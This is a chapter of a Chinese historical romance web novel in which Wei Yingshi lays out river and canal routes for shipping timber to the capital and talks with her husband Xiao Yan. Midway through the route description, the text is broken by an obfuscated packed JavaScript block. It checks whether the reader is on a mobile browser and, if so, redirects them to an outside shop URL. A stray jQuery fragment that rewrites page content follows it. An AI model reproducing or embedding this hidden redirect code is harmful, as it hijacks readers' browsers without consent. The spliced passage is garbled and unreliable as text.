卫莺时撑伞从外头回来,给慕容玥在自己的宫中安排了住处,回来的路上衣裳被雨水沾湿,于是回了自己房中沐浴。

    卫莺时房中的浴池并不大,远不及汤泉宫气派,但胜在安静,她在水中放了澡豆、薄荷和洋甘菊,舒舒服服地泡着。

    此时朝中催要木材的旨意又传了一道。

    萧衍随官员们商议木材采办之事,珉城的官员懒散惯了,甚至还有点卯迟到的。

    一群人议论纷纷,并未拿出什么方案,议事结束后,他便来了卫莺时的房中。

    走进内间,隐约听见流水之声,便循声走进了浴房。迎面是一扇洒金的屏风,上头随意搭着三两件薄薄的衣衫。

    卫莺时正摆弄着水面上漂浮的洋甘菊花瓣,若有所思。

    听见脚步声,她偏过头来。

    “是萧衍吗?”

    萧衍闻言,绕过屏风,走向浴池。

    卫莺时背对着他,头发被一根木簪尽数盘起,纤瘦的脖颈处白皙的肌肤延伸向下,如同浸润在月色中的梨花。

    她脊背纤薄,肩胛骨微微隆起。

    萧衍不禁想起那一夜,卫莺时在他身下,纤瘦的肩胛骨起伏着,像一只濒死的蝴蝶。

    那样惊心动魄的一夜,而如今,她好像全然忘记了——忘记萧衍曾咬过她白皙的脖颈,吻过她线条起伏的锁骨。

    萧衍的眼神不自觉地顺着他的身体下滑,口干舌燥。

    就在这时,卫莺时转过身来。

    萧衍立刻偏过头,仓促地移开目光。

    真是昏了头!这京城的美人,他少说也见了十之七八,可为什么那夜会被她勾引?

    他自比柳下惠,自以为坐怀不乱。可那一夜,他确确实实被她引诱。

    他本就轻视这般暧昧苟且之事,外界传他声名狼藉,甚至他刻意自污名节,都只是在京城倾轧之中保全自身的手段罢了。

    他一向以心智坚定为傲,可偏偏那一夜,他被欲望捕获,自那之后,他一次次沦陷于此。

    他吃力地克制着目光,可卫莺时的眼神已与那一夜截然不同。

    他曾多次试探,可卫莺时并无回应,也许那夜的事,卫莺时自己也忘掉了。

    萧衍一开始以为这又是严党的阴谋,以美色为饵,可如今看来,这不过是卫莺时自保的手段罢了。

    那一夜,卫莺时喝得很醉,她大概自己不想记得。

    萧衍心里莫名有些失落。

    可当他再次直面卫莺时,发现那单纯又狡黠的目光里,泛着一种天真而露骨的勾引。

    萧衍再一次升起了想要蹂躏他、撕咬他、弄坏她的欲望,就像那夜。

    卫莺时似乎注意到了他的眼神中的幽暗,却恍若毫无察觉,涉水中朝他走来。

    水雾氤氲,窗外雨声潺潺。

    “怎么一大清早起来沐浴?”萧衍哑声问。

    “闲来无事。”卫莺时目光坦然地望着萧衍,“正巧你来了,我有话跟你说。”

    萧衍无奈道:“你就不能先从水里起来再说吗?”

    卫莺时摇摇头:“正要在此刻说。”

    卫莺时拔下头上的簪子,湿润的黑发散入乳白色的水中,如墨如松烟一般散开。

    萧衍望着他,此时她们离得很近,他在浴池边坐下,甚至能闻见她身上淡淡的香气。

    一种花香的清甜,还夹杂着草木的苦涩。

    卫莺时将手中的发簪递到萧衍面前:“你看。”随后他将发簪放在水面上,“想到了吗?”

    “什么?”萧衍愣愣地,依旧不明所以。

    “水运啊……”卫莺时蹙着眉望他。

    “木材可通过漕运,一路运往京城。如今正是水运畅通之时,可将行程大大缩短。”

    卫莺时继续道:“现在正值入山采伐之际,山脚河道极为艰险,全靠人力运输。此时采伐,避开夏汛,正是时候。”

    “所以可用滑道、滚木、栈道,配合绳索、天车、木轨,将巨木拖至金沙江、澜沧江、元江等支流河边,再筑坝蓄水、泄水、放排,这样可省人力。枯水期筑坝抬水,将木排推入溪中,逐级飘入大河。”

    萧衍望着她手中那根黑檀木簪子,痴痴地愣神。

    卫莺时说着说着,觉得他神情躲闪,终于明白过来了:“萧衍,你在想什么?”

    萧衍不自然地转过头,“你能不能穿上衣服……我们再聊?”

    卫莺时歪了歪头,笑道:“好啊,你在房内等我。”

    心里却腹诽:哼,装什么正人君子?刚才闯进来的时候怎么不说?

    卫莺时从水中起身,穿上寝衣,回到房中。

    青杄为他泡了一杯普洱新茶。

    卫莺时走了过来,萧衍扫了她一眼,身上的衣裳太过单薄,于是叫青杄取件外衣来。

    萧衍将她整个人都裹在衣裳里,卫莺时不悦地开口,“萧衍,你做什么?”

    “天冷。”

    卫莺时鼻腔里不满地哼了两声,没有动作,盘着腿坐在榻上。

    取来前阵子烧的炭笔,在地图上比划起来。

    她接着方才并未说完的话,“珉地从水路至长江,可用木排顺流而上。共有四条路线。一是由马蒙入金沙江,再入宜宾,至长江;

    二是从大理、永昌,经澜沧江,过东吁、南掌,再从陆路入长江。这条是支线,成本高,但若马蒙、珉地东北一线被朝中之人掌控,便可走此地;

    三是珉南路线,从元江至红河,至越南,再海运至长江;四是木排编组,每组十个水手加四十个民夫,避开汛期,顺长江东下,约莫两到三个月便可至

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788115|210247||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    留都。

    到了留都之后,再从长江转入京杭大运河。长江木排至瓜洲、扬州,逆水北上,过闸用纤夫拉纤,三到四个月可达通州。

    到了通州之后,便可运往京城。走水路是通惠河,直达东便门,入神木厂;走陆路的话,冬春地间用双轮车,两车并运,半日即可至京城施工之地。

    这样可在年底之前将木材运至城中,应当能赶上明年圣上大寿。”

    卫莺时的手指顿住了,她握着炭笔,拇指摸着中指的关节,那里并没有常年握笔留下的痕迹。

    她望着指节出神。

    “不过现在最重要的并不是路线问题……”卫莺时顿了顿。

    萧衍接话道:“而是钱与人。”

    “是啊,山中泥沙滑落,状况百出,况且还有野兽。入山一千,出山五百,死亡率极高,山中百姓苦不堪言。

    而京中却要大兴土木,建造观星台,朝中各方势力斗法,歌舞升平,全然不顾民生。”

    卫莺时摇摇头,“既然此时我为鱼肉,那我们如今只能带着镣铐起舞,借着运送木材之便,修路搭桥。”

    “俗话说,要想富先修路,可为民生之用。珉城若路线通达,山中百姓便可交易山珍,与边境互市,民众的日子也好过些,人口也能增加不少。”

    萧衍的神情和缓了下来,他静静地望着卫莺时思索时不断旋转的炭笔。

    卫莺时的指尖停了下来,按在纸页上,“此地分管木材的官员是谁?”

    “观星台的建造由工部营缮清吏司额办,由官银支给。上头派了工部的官员下来,奉旨勘察、采伐、运京交厂。”

    “那此人现在何处?”

    “正在王城之中。此事由内廷先提议,内官监题本上奏,司礼监批红,再送往工部。工部提议由工部尚书总负责,工部右侍郎监督督办木材,营缮清吏司主管,虞衡清吏司验木定价,都水清吏司负责水运。如今营缮清吏司的工部右侍郎正在此地。”

    “好,那就去见见吧。”卫莺时即刻便要起身更衣。

    萧衍凝神道:“明日再议吧,他们一时半刻也走不了。”

    卫莺时也觉得过于心急了,没准还有更好的办法,于是停下动作来。

    沉默片刻,萧衍忽然开口:“最近你怎么不去我房中睡?”

    卫莺时缓缓歪着头,支着下巴望向他:“你不是跟我在一起睡不着吗?在军中那是没有条件,我怕再被人暗杀。可在城中守卫森严,并不会有蛇虫鼠蚁,无端端地咬人。”

    “加上天气热了,抱着你睡觉太热。”

    萧衍捏了捏鼻梁,随后心中暗道:可真是秋扇见捐。随后他又补了一句,“可你是我的妻子,总是分房睡也不太好吧?”

    卫莺时支着下巴,点点头,“你说的也是。”